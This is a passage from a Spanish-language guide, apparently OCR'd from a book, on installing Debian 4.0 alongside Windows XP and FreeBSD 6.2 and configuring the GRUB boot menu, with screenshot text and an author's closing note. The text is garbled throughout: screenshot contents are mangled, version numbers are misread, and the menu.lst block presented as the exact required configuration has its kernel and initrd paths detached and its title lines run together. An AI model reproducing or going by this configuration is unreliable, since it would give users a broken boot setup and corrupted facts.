Para hacerlo luego, podemos ejecutar sysinstall desde la Shell.

Por ultimo, instalaremos Debian GNU/Linux, que a su vez dejara instalado Grub
como gestor de arranque en la MBR (sector de arranque del disco duro). Luego,
cuando iniciemos el equipo, se ejecutara el gestor de arranque mostrando un menu
desde el cual se podra optar por los diferentes sistemas operativos que tiene el disco
duro. Los DVD de Debian GNU/Linux pueden bajarse desde http://cdimage
.debian.org/debian-cd/4.0_12/i386/iso-dvd. Cabe aclarar que, aunque con el pri-
mero es suficiente, si nos interesa tener todas sus aplicaciones conviene bajar los
tres que hay disponibles.

Press F1 for help, or ENTER to boot: _

Booteo. Pantalla con el logo de Debian que se ve al bootear
el DVD. Podemos bootearlo desde CD, pero éstos son en total 21
y el cambio durante su instalacion resulta bastante incomodo.
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Después de bootear, deberemos establecer el lenguaje, el pafs y la distribucion de
teclado. Luego, tendremos que esperar una pequefia comprobaciéon del DVD o
CD para pasar a la parte mas critica, que es el particionado. Debemos marcar la
opcion que dice ESPACIO LIBRE. Luego, en la siguiente pantalla,
seleccionamos Particionar de forma automatica el espacio libre. Después, en
el Esquema de particionado, tenemos que clegir Todos los ficheros en una
particion (recomendado para novatos) y presionar Enter.

Debian. Pantalla del Esquema de particionado de Debian.

Por ultimo, seleccionamos Finalizar el particionado y escribir los cambios
en el disco. Luego, seteamos la clave de root y colocamos nuevamente la clave
para su verificaciéon. Creamos un usuario normal y también le asignamos su
clave. Se instala el sistema base, seleccionando Duplicacién en red. Cuando se
nos da la opcién de elegir los programas que se van a instalar, basta con dejar el
seteo por defecto (Escritorio+Base).

Luego de instalarse el sistema completo, estara disponible el gestor de arranque
Grub, que sélo detectara Windows y Debian al reiniciar la maquina. Por tal motivo,
lo dltimo que haremos es configurar Grub para que arranque los tres sistemas
operativos instalados.

El archivo de configuracién de Grub se encuentra, bajo Debian, en /boot/grub/menu.lst
y debe ser editado con vi desde una sesion shell en Debian o con el Partition

Explorer (médulo de Paragon Partition Manager Professional) desde Windows. La
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funcion Export es util para editarlo en Windows con Notepad e Import para
volver a colocarla en Debian editada.

Partition Explorer,

File Edit Yiew Help

= & 6 BEX

—| = *: Primary Partition EXTZFS
15 bin
=13 boat
] orub
1) dev
i etc
{0 home
I initrd
) b
|3 last+Found
| media
IC5) mnt
{5 opt
I proc
i) root
) shin
A selinus
AT sty
1) svs
=) tmp
1 usr
D var

Mame | size | rModified | attr
= deaule 0.2 KB 13,01,2008 16:00
device.map 0.0 KB 13.01.2005 16:00
= e2fs_stage1_s 7.4 KB 13,01,2008 16:00
[ far_stage1_s 7.3KB 13,01,2005 16:00
= ifs_stage1 5 8.0 KB 13,01,2008 16:00
[Elmenu.ls 4 nvE 13.01,2008 16:00
minix_st ~ OPeN 13.01,2008 16:00
[ reiserfs,  Drowse Archive 13.01,2008 16:00
stagel | o Chrlex 13.01,2008 16:00
stage2 | copy ChlC 13,01,2005 16:00
= s _star o 13.01,2005 16:00

Export

Delete

Rename

Properties

Editando. Utilizacion de Partition Explorer para editar el archivo
menu.lst de Grub (gestor de arranque) que contiene los puntos
de arranque de cada particion de los sistemas operativos.

Sin importar la herramienta que usemos para editar ese archivo, lo importante es el

contenido, que debe quedar exactamente asi:

—8<

titleMicrosoft Windows XP Professional SP2

root (hd0,0)
savedefault
makeactive

chainloader +1

titleDebian GNU/Linux 4.0 r02

root (hd0,1)
kernel
initrd
savedefault
titleFreeBSD 6.2
root (hd0,2,a)
kernel /boot/loader

/boot/vmlinuz-2.6.18-5-686 root=/dev/sda2 ro
/boot/initrd.img-2.6.18-5-686
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boot
—8<

Una vez que editamos el archivo y guardamos los cambios, podemos reiniciar la
maquina y disfrutar de un servidor/estacion de trabajo multiplataforma.

GNU GRUB wversion 8.97 (639K lower / 1847296K upper memory)

Microsoft Windows XP Professional SP2
Debian GNU/Linux 4.8 rB2
FreeBSD 6.2

Use the t and | keys to select which entry is highlighted.
Press enter to boot the selected 0S, 'e’ to edit the
commands before booting, or ’‘c’ for a command-line.

Booteo. Aspecto del mend de arranque Grub.

Recordemos que, para levantar el sistema grafico en FreeBSD, debemos escribir
echo exec startkde>.xinitrc en la consola de root una vez logueados. Luego, para
ejecutar el entorno grafico, escribimos startx y presionamos Enter.

= szl

Session Edit View Bookmarks Settings Help

localhost# uname -a

FreeBSD localhost.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 11:05
130 UTC 2007 root@dessler.cse.buffalo.edu: /usr/objfusr/src/sys/SMP 1386
localhost# I

Most Used Applications
% KSnapshot (Screen Capture Program)
All Applications.
Development
Edutainment

Games
Graphics
| & Internet
| & Multimedia
& Office
<, Settings
@ System
/7 Utilities
*. Control Center
) Find Files/Folders
|= O Help
#) Home (Personal Files)

o KDE 3.5

™) System Menu

=03 0202

KDE. El reluciente aspecto de KDE 3.5 sobre
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Cuando tenemos todo instalado, debemos actualizar los sistemas, configurar
detalles de auditoria o performance, deshabilitar los servicios innecesarios e instalar

las herramientas que creamos convenientes.

Si tenemos alguna duda, no olvidemos consultar sobre cualquiera de los sistemas
operativos en las listas y los foros de sus respectivas comunidades o grupos de

usuarios. Entre ellos, podemos mencionar los siguientes:

www.freebsd.org/es/projects/newbies.html
http://listas.es.freebsd.org/pipermail / freebsd/
www.linux.org/groups/index.html
www.usla.org.ar/modules/newbb/
www.solar.org.ar

€ Aplicaciones Lugares Escritorio () () 6 s w e
Eqipo
Carpsta personal e ~ EEE)
lab Archivo Editar Ver Terminal Solapas Ayuda
tabeterninal:~$ su
Password:
ternt ne/lab# uname -a
(Peglare Linux al 2.6.18-5-686 #1 SHP Mon Dec 24 16:41:07 UTC 2007 1686 GNU/Linux
terinal:/home/lab# cat /etc/issue
Debian GNU/Linux 4.6 \n \l
terminal:/home/lab# []
v ““Tﬁhiz“
N icewease
Archivo Editar Ver Terminal Solapas Ayuda | i
terminal:/home/lab# fdisk -1 s 1O [SEIE)
Disco /dev/sda: 326.6 GB, 320072933376 bytes
255 cabezas, 63 sectores/pista, 38913 cilindros &
Unidades = cilindros de 16065 * 512 = 8225280 bytes version 2.0.0.10
iGoogle | Acceder

Disposit. Inicio  Comienzo Fin Bloques Id Sistema
/dev/sdal  * 1 31265 251136081 7 HPFS/NTFS

31266 34926 20406982+ 83 Linux

35090 38913 30716280 a5 FreeBSD

34927 35089 1309207+ 5 Extendida :)
/dev/sdas 34927 35089 1309266 82 Linux swap / Solaris

Las entradas de la tabla de particiones no estan en el orden del disco
terminal:/home/lab# |

[ v

len

©1998-2005 Contribuyentes. Todos los
derechos reservados. Firefox y los logos de
Firefox son marcas registradas de The
Mozilla Foundation. Todos los derechos
reservados. Algunos derechos sobre
marcas registradas usados bajo licencia de
The Charlton Company.

Mozilla/s.0 (X11; U; Linux i686; es-AR;

1v:1.8.1.10) Gecko/20071115
Iceweasel/2.0.0.10

<2 Googe

@ lab@terminal: ~ € Google - Iceweasel @ Iniciando Capturar pantalla

El

Fca de Google - Google.com in English

Gnome. La interfaz Gnome sobre Debian 4.0 r02.

Por dltimo, si desean probar algo nuevo en sistema operativo visiten:

www.opensolaris.com
# exit
$ exit

Connection closed by foreign host.
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A todos aquellos que creen que sus carreras no tienen rumbo les cuento que:
Einstein al no encontrar trabajo, llegd a dar clases particulares de fisica a 3 francos
la hora, en Viena (Berna) 1902, un afio antes de casarse y de tener su primer hijo.
Dos afios luego, escribiria 4 articulos revolucionarios en la fisica, en 1905 descubre

el proceso fotoeléctrico entre otras cosas, por el cual en 1921 recibe el premio
Nobel. Einstein a lo largo de su vida obtendria 25 nombramientos como Doctor

Honoris Causa.

“Nunca consideres el estudio como una obligacién, sino como una oportunidad
para penetrar en el bello y maravilloso mundo del saber.” A.E

Este libro fue liberado por el autor el dfa Lunes 11 de Julio de 2011, todos sus
derechos y contenido estan registrados.
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